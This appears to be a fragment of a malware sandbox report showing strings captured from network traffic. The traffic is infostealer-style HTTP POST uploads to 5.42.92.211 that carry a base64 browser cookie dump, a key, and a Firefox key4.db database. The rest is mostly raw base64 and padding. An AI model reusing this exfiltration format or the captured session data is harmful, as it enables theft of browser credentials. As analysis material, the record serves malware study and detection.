FNFCTEzMzI5MjY2MjE0MDAwMDAwCXBnbHQtZWRnZUNocm9taXVtLW50cAlkakV3QjMwOFdrTSsrZzlMem8zdlZrOEV5emk4aEYxUVhyOUxIblh1NmR2NA0KbnRwLm1zbi5jb20JRkFMU0UJLwlGQUxTRQkxMzM0ODEwMTQxMzE4ODIzNAlzcHRtYXJrZXQJZGpFd1RpTlh1bkRTbmF2OHgwOHpmMEhzUnBzMjA1RVpmSWdxRW5vMDJjMU5jbE53Uis1amxvL3VnUnBLbXdhd1g3S2lQeGpjemZSbWRQY1FkVnNKdEwxUXJ0Z2pUUGJKZ3FNUmJiejhFZXZaeEdBMWdCLzVnWCtDdk9LeFFUMi9XOXlMZTRDWDlOYW9VbTVNU2lxdmJIejFxSXV0DQoubm90ZXBhZC1wbHVzLXBsdXMub3JnCUZBTFNFCS8JRkFMU0UJMTMzNDgxMDA3NjEwMDAwMDAJX19nYWRzCWRqRXdIL0dKOElvcWRzK1VmaEw2U2J4RWxlWnlvTVo3S3FXZEFBcW1YMWlkMDNsenhEazhNQUk1Q2Zlc2FzNGtFUm1yN2E1TmZTREZ2OGpQUVI2bkovamMwR3IwS2NTNGZyblpMTXp0MUdqTzh5VDFtVUFMSUFWREpnUW1FQUNKUDA4RnVXRHdKRHo2ZlMxM2h2UTd5eHFPaGdEOHpGKzNGeVJYbmFPR0xvTmpOa1k9DQoubm90ZXBhZC1wbHVzLXBsdXMub3JnCUZBTFNFCS8JRkFMU0UJMTMzNDgxMDA3NjEwMDAwMDAJX19ncGkJZGpFd3l3aDI5MitNOWNyL1l3YmwyamFOZ0w0SDdYRVc1N0txcGJDdTg5Q2l2THErODYwMzlUa2ZXWEhnVW8yVmxTYTJWMFQ4MGlBSXVWcGZQcDM3YmdRY3Z5eWp1KzRFZS9ycW5qN1lJeWxZVjZIR1J2MGgzdzZ0TklOdnZldTZWZG1CdWVzNUkyZlNQTkl2TklmMGhMSEVMQT09DQoubm90ZXBhZC1wbHVzLXBsdXMub3JnCUZBTFNFCS8JRkFMU0UJMTMzNDg5NjQ3NjA0ODE5NDIJX2dhCWRqRXdXa0F2MUZSNmIzTXdnV1R5RW5GTkNPZ2NNNVFzaG41MkN1dEp0SGJibVA5d041MGdjaDQ5NUJacEpaN1RPTWYyKzFOQWRRaUUNCi5jLm1zbi5jb20JRkFMU0UJLwlUUlVFCTEzMzIyOTMzNzQxOTU4MTMxCUFOT05DSEsJZGpFd0NxRlNldGJ6SkV5dUdqVFI2NFgyb2NyZDRRM09COXBmOGJFaDE3TT0NCi5jMS5taWNyb3NvZnQuY29tCUZBTFNFCS8JVFJVRQkxMzMyMjkzMzc1NzI4NjY4MQlBTk9OQ0hLCWRqRXdXL21QSWNPNGZnTVRMUStIMS9yblNlTkNSZXNVTHR6ZW5DTW5Od0E9DQoubWljcm9zb2Z0LmNvbQlGQUxTRQkvCVRSVUUJMTMzNTQ0NjkxNTg2MjA0MDIJTUMxCWRqRXc4NUpkZitVa2lIZFlsMS94RUZOYWpSOEZVWms2Z2JyMUQwVXEwVTZGbjVlR2VjemlIbmVVNzhpbnhmM3VWWHJoTXNMb29rZWNNbVVmOURPVlNwSjlyNGFUSlN3dkZsT1FoTXc1UTN5NjdWS3FLSkhjRzFoQTdjTmIxY1NyYjRaWXJ6Mm5oSVc2V1lxcGZ3PT0NCi5jLmJpbmcuY29tCUZBTFNFCS8JVFJVRQkxMzMyMzUzNzk0MTY3MDMwMQlNUglkakV3cnFFdDZKQTY0U2JRa0hjcXdZdElKaStGQXI0aFI4dUdjTk9heTNJPQ0KLmMubXNuLmNvbQlGQUxTRQkvCVRSVUUJMTMzMjM1Mzc5NDE5NTgwOTgJTVIJZGpFd3dSYm0wNGp6bDZLd0QzZ3RGTzFXSWcxcEZSYkNnTE5ibG10NmZNQT0NCi5jMS5taWNyb3NvZnQuY29tCUZBTFNFCS8JVFJVRQkxMzMyMzUzNzk1NzI4NjY1NAlNUglkakV3aHhXOE5XbVBuSHNJYnpZTzBEQjlDdTNKSnZNZjF1SnVjck5lTGM0PQ0KLm1pY3Jvc29mdC5jb20JRkFMU0UJLwlUUlVFCTEzMzIyOTM0OTU4NjIwNDg3CU1TMAlkakV3dFdZbVJTYXNkM2syRml1VmxVTHNtY0xTRW1iOUwzY0dYTExiQUdPUkpWRkFzMG44bEhiY041ekJvN1BpL1BWWlJUNXgyT2Q4eUJ3YzRHWWENCi5taWNyb3NvZnQuY29tCUZBTFNFCS8JVFJVRQkxMzMyMzAxOTU1NjAwMDAwMAlNU0NDCWRqRXduc3ZBTnRpVjlWanRFb2x5NWlkMlFqN2h4eWg4WTE1eUZIUlR2MjJ3DQpsZWFybi5taWNyb3NvZnQuY29tCUZBTFNFCS8JVFJVRQkxMzM1NDQ2OTE1OTEyNjAyOAlNU0ZQQwlkakV3c1BiZXZLYTdSWVRWN0xXUGpwVm5tOTVhQzlmZVR3cXhMdmxmVDZTZkhKNHFveGpVQ1dkaldybTFFT3B6emJkNytEcklpVEppdWE4ZnN0S2VxbTFYYnFwWHNpUmwzTTFzYjVlVm5XVzBGcW1jSVFpR0VBazhoYkp2TzRMR0FUQS9ZWG00aHlaRHdHQUE2QT09DQouYmluZy5jb20JRkFMU0UJLwlUUlVFCTEzMzU2NjI5MTQxNjcwMTg2CU1VSUQJZGpFd1V5NEFJQ1RIaHZ3ZENLSXlMT2Z1TVBpTTZ6dFUwMzRpRHhqZGE4bmZmc3UxMkdrb3FHeTJoWWMrUTd2aWZ4YU9GNGd3RnduYWlLbkFSOUt6DQoubWljcm9zb2Z0LmNvbQlGQUxTRQkvCVRSVUUJMTMzNTY2MjkxNTcyODY1NzgJTVVJRAlkakV3TWp0VGRRbzROZWRXUmJaNngxUDRiUGNWV0txZTBWbElJQnBpS0ZnNUtiZ0t1WGFMSWwrZlpoLzdEenFNZWpFbWhrWW5OVUpLOXJERkFzS3MNCi5tc24uY29tCUZBTFNFCS8JVFJVRQkxMzM1NjYyOTE0MTk1ODAzOQlNVUlECWRqRXdEN2NWazZ2SDZaRUI0a3hqOUNkOERMTDQ2bWZjeFFVblV6Q2s0SlZtNkVxdDFYczl0eGQ4aENHREppU2xOcGZaWTlEcDhoelJrSmJkUW9mTA0Kd3d3LmJpbmcuY29tCVRSVUUJLwlGQUxTRQkxMzM1NjYyOTE1NzI4MDgwMwlNVUlEQglkakV3NHVyakV3MWpvWHZKR1VrdUJPdHRrM1p0NWN2U05xMlRzcUwxQ21Qdmp6ZjA4WHVmYW9nejk4NnNmLy9nTkhPS2hHaFk2T0tuUWFEaE0yWGYNCnd3dzIuYmluZy5jb20JVFJVRQkvCUZBTFNFCTEzMzU2NjI5MTU4MzA3NDkxCU1VSURCCWRqRXc5clV6b3lObUJHektUNGdCSVpERE9GUXhLd0tFVmxFZHozc3hFaG81a1hiUGJmRDNwLzhYZkJvVWhNSzN4S3NaQ0Ivdm9hV2x6NTMreTJkSA0KbGVhcm4ubWljcm9zb2Z0LmNvbQlGQUxTRQkvCVRSVUUJMTMzNTQ0NjkxNTcwMjk0NTQJTWljcm9zb2Z0QXBwbGljYXRpb25zVGVsZW1ldHJ5RGV2aWNlSWQJZGpFd3RMbkVGMXBvRnk5MkMrTVcxMnNSZzBNSGdVTVJHQS9qdEJXeXZPa3FrSHRDeTJqZWJZNVRWTVZDdDNNaUp0OHFXOWtOTHl6QU1vSE53bDgyRFp1K05BPT0NCm50cC5tc24uY29tCUZBTFNFCS8JVFJVRQkxMzM1NDQ2OTE0MTEyNzI3NwlNaWNyb3NvZnRBcHBsaWNhdGlvbnNUZWxlbWV0cnlEZXZpY2VJZAlkakV3U3FpaWhkcVhoRHdmaUdkdXhmd3NnQ3QxdEszSWlHQ2tsZUc5VDY3azhVRjgvOC85citDSU8rTGxzN3JuQmE3bXA5TzRCWHVNUGg3d1cvazNIbEpkYUE9PQ0KLmJpbmcuY29tCUZBTFNFCS8JVFJVRQkxMzM1NzQ5MzE1NzMwNzU4NQlTUkNISFBHVVNSCWRqRXc3c0N3QUgybDFCSWJNaGVVN2VzZTlmYmhIdWZzL2FTRUZDcGNFek00NjgrU3BreGUxQnV1R3BsbzcvT2VoSnlETmxkMTRPM24wREpZRVhiVFhJZEgrTnFCbU5yK3RkbTZ4YnljVnhsMm1MT1RQVXpPWjFjTUNLSkg2YzUrRTlCS0N5aXAreGxjUU9YOVFET3RPd3JZQnRpaWQxOGd3c0g5Q2tZcVVqRVNSeFdxUVdBZU5YL0V5a3dDSW45WXNSeVN3OCt5OW1HMmlYSlAzaTlEMUhZNHJqTmx2T0RsWWkyZFR4MkRhZGNwDQouYmluZy5jb20JRkFMU0UJLwlUUlVFCTEzMzU3NDkzMTUzNDE1MTMzCVNSQ0hVU1IJZGpFd0QrOWRCa0E5d0hvWVRSbVh6S3Vuc3pFaVhHNktRck0wV1A3amZtZElkMmZ4TVVWczhTN08rWTFoL2RtRVFsRTRUWVFLbWdqVXM0Zz0NCi5jLmJpbmcuY29tCUZBTFNFCS8JVFJVRQkxMzM1NjYyOTE1ODI1NTE1MAlTUk1fQglkakV3Rk5uellWNG10QkhjSnMxTzY4bEtQTkRxYURIYVBnZUQvRmg1NHptRTlWSEZlNURDVGYxTHJuenQ4YS93QXpHODYxTmtlV0VpRFVkSCs1SE0NCi5jLmJpbmcuY29tCUZBTFNFCS8JVFJVRQkxMzM1NjYyOTE1ODI1NTI1NQlTUk1fSQlkakV3SG02YzRkMCtTVFFEVnRraUdpK2I2ai81V2FSd2lQenpMMTRIdkRXNHZWZ2lSTUNLV2ZXVW5IYzh4QWdUbGcxZS8xcENPVFJraVQvNEMwVjkNCi5jMS5taWNyb3NvZnQuY29tCUZBTFNFCS8JVFJVRQkxMzM1NjYyOTE1NzI4NjYyNQlTUk1fSQlkakV3eDBQeDdDTnpzcEZ0eC9nbGRaRHBiR2czRWJOKzJxT0ZvcFA1bXp3cWFzTUNlZXN1cmtVdlNhZmt3Q3FqeFFWekFGQmhtUFBlbDZxN2t5S00NCi5jLmJpbmcuY29tCUZBTFNFCS8JVFJVRQkxMzM1NjYyOTE0MTY3MDM4OAlTUk1fTQlkakV3WW5xR0tMT3hmNW9sQ1BRM0QveG1taW9qWXpuMGl0U1VWSFAzTEhMU1JLZjNTQnFUNHEzNE9HQ1hCSm4vSmRUalhjd0xGMVk0NDdTWDB2N1INCi5jLm1zbi5jb20JRkFMU0UJLwlUUlVFCTEzMzU2NjI5MTQxOTU4MDc0CVNSTV9NCWRqRXdPdmhaRkxkVDBhTE5vSXorOEh1QmpOQkxhYmJUYnd1aFRuc05CYTE0R1A0RkE2MnZhVE41KzJWWU93a2c4Q2ZVNUNub2xtNTVUZzRaUjluLw0KLmJpbmcuY29tCVRSVUUJLwlUUlVFCTEzMzIyOTc2MzQ1NzE3MjI4CVNVSUQJZGpFd2Y4NkMramdwS0JTblBNaHNsYjNiNGRQUlRkVmt6SmlIZWwrTFBRRT0NCi5zY29yZWNhcmRyZXNlYXJjaC5jb20JRkFMU0UJLwlUUlVFCTEzMzU3NDkzMTQxMjY5OTk5CVVJRAlkakV3ak5IUm1DaDVxL1U1Si82TjE5Z2xjbklIRzVSOWxjNE5zUkRCeFhPU1pGMExpQlJzKzFmM3lhZ3FGWHRRanVqZ2phN1Q2VDhiZkdCWGl6azBOdz09DQouYmluZy5jb20JVFJVRQkvCVRSVUUJMTMzNTc0OTMxNTI4MTE0NjEJVVNSTE9DCWRqRXdtS0Jjc2RIK0J0SmIyM09HaUtQRFlzZGE3cjkvbjhzdVJjU1dsUE1qbU9BZ3dQTTFoMnErQ3F0M2dsbEd1ZVB0cVhqMXJSQmtGamMzYzRkRmNlM3ArdGgwVHZMbnMvWVVnbWFSUzFsS0tLbU1JQ1BBaXNhVzJkQzR2NmNpT3d4T0tQOEQyM2dDcVJLOGRzUDNObW1wTnZkRG1jOD0NCi5iaW5nLmNvbQlGQUxTRQkvCVRSVUUJMTMzNTQ1NTU1NTM4MzAwNzYJX1J3QmYJZGpFd0o2RVhlZTh3S1BvZTZTT2EyNkp5SkVLVDVlKzRZNHFmYVJyVjRHQU1PL2JmQUxtay9sMU9YYThoVzhDelcyZC9neTJtWHlrUWFRU2RRazlvaStEeFZ3aW9mdllQejRsRkR3NkdrWFI0bm9YSkE1Z3RtUmxSaHpoWnYyd3RJNnRWQTdTaTZaZGhyNjF2NjQwWjFVcUhRM1RmdGpieHZtbXYwcGZRQk53eE1SQnlGNHQxK1BDUlYvaXhGNE1FL1p0dUJ5Zlo4Z21TSXRQLzljS0ZzQzg3dGtBaHZVK2xLaERTWVkyL2hoT3RZNERZbnNZSm91Q0NhcFpmUCtTNjBqc3JNdW40d25nSkZMRG1VZDdBNi8xOEpiSFB0dlBsMkx3YWdFSi9IajlJKzNFSEJ1VmlEeGpVcGlVeGxsdFFneW56bGlyQVVMSy9kcnFod3hDZHBUV1hXeWNBU1oyRFZhSlpRYy9MR1h1YlVPci9aYnkrUUJORjFKS0E4emVQZVV0Z3l6R0INCi5tZ2lkLmNvbQlUUlVFCS8JVFJVRQkxMzMyMjkzNDk0MjYyMTk2OAlfX2NmX2JtCWRqRXdmUTFHVUovaDRCcUJxQjhtaWQ5Qmh5S1grcXZrUlZKZW1CYzFOcENoMUk4MXBhZ1dKVjR0KzhQell3c1BXaEx3OHpmV1Z2ckZxUDcrMEFhdW02NElMTXBvdmpJeXp0SzNlR1A0aDJpN3lvZy84Y0FDbE1VeGo1ZGlpMkJBOWp1d0hhUUdNeURhdEFRSkwvNE5wbEUxQ0pLVncrb1ZPMVFnRVlVRS9rZzZsbjVwckFEVG1KeWdzY2N5aW5nMXVuN01taUhSQmdmQmllWk1HOGVOSml1WEhDQk16aHc3eTVBa1ZGbjZHOVk9DQpudHAubXNuLmNvbQlGQUxTRQkvCVRSVUUJMTMzMjI5MzQ5NDEwMDAwMDAJYWlfc2Vzc2lvbglkakV3QVFmVFhiTysvejhFaml2VGg2SkpPUE1Ra1lBK2pvVVJHaEQ3Qlcyc1loNlZGWWovUU5xVStSVVpsb3RlQzRjMzhHeHJ1ZHJWRURNRzZSci9ub3JXTFYyTXZXVGkybmhidlM4WXMrNGQNCi5hZG54cy5jb20JVFJVRQkvCVRSVUUJMTMzMzA3MDkxNDUxMzY2NjUJYW5qCWRqRXdiN0hkS1pKcGtxeTBnL2xhWjFSOUxET3FIVW5LRTEyeHlGdTJKSlBCSTUrN1VwL3NGUnVwNDBtUVFqanN0OW1UUjNtR0oybnVtNk9odWRwTis5WmlEMjFkdGpZZ1hPMCttSjFUQnVIVjJSNllxSlByeTA0YWZMSEVONUxWcjdjWU9JZ0tOSHRIdEIyQWwvU3YwL1ZrSE1CaHNwQjYrcE9ST3lFdHY0bXZnNDhSNjIxL1lFODN2Z2VpTm0rbm1FRXFIKzdDYVFQa0N1WCtycG9KR2ZHbVNIMkllQjFNM21keUFLMHN5cTVBSlpKVWJhZHhFWVdwMkhqakwwNzRONVVSL29OaU5EancNCmxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20JVFJVRQkvCVRSVUUJMTMzMjU1MjUxNTQ3NjM1NDcJYnVpZAlkakV3QVZxajdTcmVBeUQ3OEg1UCtya2RrV3BaM3Q0TWdPQTcrdFZOYS8raWFkZ3lSNnFBV0dGRUl3czN5V21vMThIcUhkalBhaURPMmliRXQxN0gwUGs5WituZ21vT1U1Mi92WW9WZjBZaDRSd1hQaDZLSjhaVlpvdEdXT3lwcmRtRWNBYW8yclNjYVZvWkV1d084R1FIR0E1bVZ4NFZJZXdwdzVDSHgxblM5UlB1T0NYYjMxa3psL2xQUEoxYVJNQmhILy9zOXVaY2tLVUFDMTVPdk1GZkpHMllqVTRhaW9zeklseDIwdGxoaHNnNnBwbzZSK3lMVERHTWhhRDA3dUc0Yzdpb1hKOTI2MFhZQll2aGRDai96b2dQNVd6UzNCOVI1cHA5QkFMaHBzK289DQpsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tCVRSVUUJLwlUUlVFCTEzMzI1NTI1MTU0NzYzNjI0CWZwYwlkakV3bHBvNnAzVnd1ZFZMNiswZUIvNm03TVI4R09zNFBvQm05MVdjMDlPNjVWcFIzUmgvRUd0SmExbFRUdW9uT1hIUkVjTkx0bThCcGVpNGc4MGRjU3pqMjRXYjBzcWw1Vi80DQoubGlua2VkaW4uY29tCUZBTFNFCS8JVFJVRQkxMzMyMzAxOTU0MzU5MTE4NglsaWRjCWRqRXdQc1ZnZHdvbWV2czc5MkVkQUcrMk1NL1NxOGJmbEp6R3dUOGNYbytrb1lkTyt3ckMwSHFybUhmNGZ0UUpxOFhHUUNCb1hFNjhjUVZySGsrQVlmdVlNQVl1Z0E2WWlHOTFwcnZXOVRnSk43ekFTcEVJVzVpYU11bjFzR3F0akZsclhyYWlOd1RxMDRjZ25NYVhYbDFpZ1F0c3FIa0RqNkxUOEZiN0JSUTN6ekVLRnR2bVg5bVpGdz09DQpjbS5tZ2lkLmNvbQlGQUxTRQkvCVRSVUUJMTMzMjU1MjUxNDI2MjE4ODkJbWdfc3luYwlkakV3amVWU3BqQ3BvNmliWEI1NUlyVGk3UFYvTEZ4RkVBUFRzdDJQMW5KVG10M3ExeDFRaHY5L0lIWUJzc3BpdXZxOHpRPT0NCm50cC5tc24uY29tCUZBTFNFCS8JRkFMU0UJMTMzMjMwMTk1NDMwMDAwMDAJbXNhb3B0b3V0CWRqRXdzM1Vka2syWk5XNXVUalp6OUtVS2VSM0wzeDVhUE5tVGU2eURqZkE9DQoubXNuLmNvbQlGQUxTRQkvZWRnZQlGQUxTRQkxMzMzODY1Nzk0MTAwMDAwMAlwZ2x0LWVkZ2VDaHJvbWl1bS1kaHAJZGpFd1I3ZW56S0JLNlkwa2tWaXZwYVhnalQwVmlCdzJGc0tBOWo5TXVrUUQNCi5hZG54cy5jb20JVFJVRQkvCVRSVUUJMTMzMzA3MDkxNDUxMzY3NTEJdXVpZDIJZGpFd1ZaOXBOaEhvMlNUaVJuc2NvK0VkMFpML0JKaEVRRmZpRlhzQ0dkMkduY01CemRNenk2RjZ3R29PakFOaHMrZz0NCmxlYXJuLm1pY3Jvc29mdC5jb20JRkFMU0UJLwlUUlVFCTEzMzIyOTM1MDM2MDAwMDAwCWFpX3Nlc3Npb24JZGpFd2tuQVg2Y0plQk5BMVlmRms0a1FFekMvZkRPZTFwUkZNelRxT1lqV1lKVGlmQy8zaldMNUxpQ1R5U1Q5SzYybjZuSGtLVVlXT1VudDVySWJoTWJMTnUrUWRUY0E3cW1KK0hXYURBKy9ZDQoNCktleTogdEI5VC9YeVI3clFXZDhpME1WQjZweDJLamZQMExlVmlXMzExb1dNaXVFST0NCg==--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token""; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="msg"Z2Vja28tYnJvd3NlcnM=--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token"ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==--U3QNgGNOxDGaU2UGzgNC--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="filename"R2Vja28vRmlyZWZveC95d3p1Nzg3MC5kZWZhdWx0L2tleTQuZGI=--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="file"U1FMaXRlIGZvcm1hdCAzAIAAAQEAQCAgAAAAAgAAAAkAAAAAAAAAAAAAAAYAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAC4U4Q1/+AAIelgAfAp/w3vFe317O3r3elh6xgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA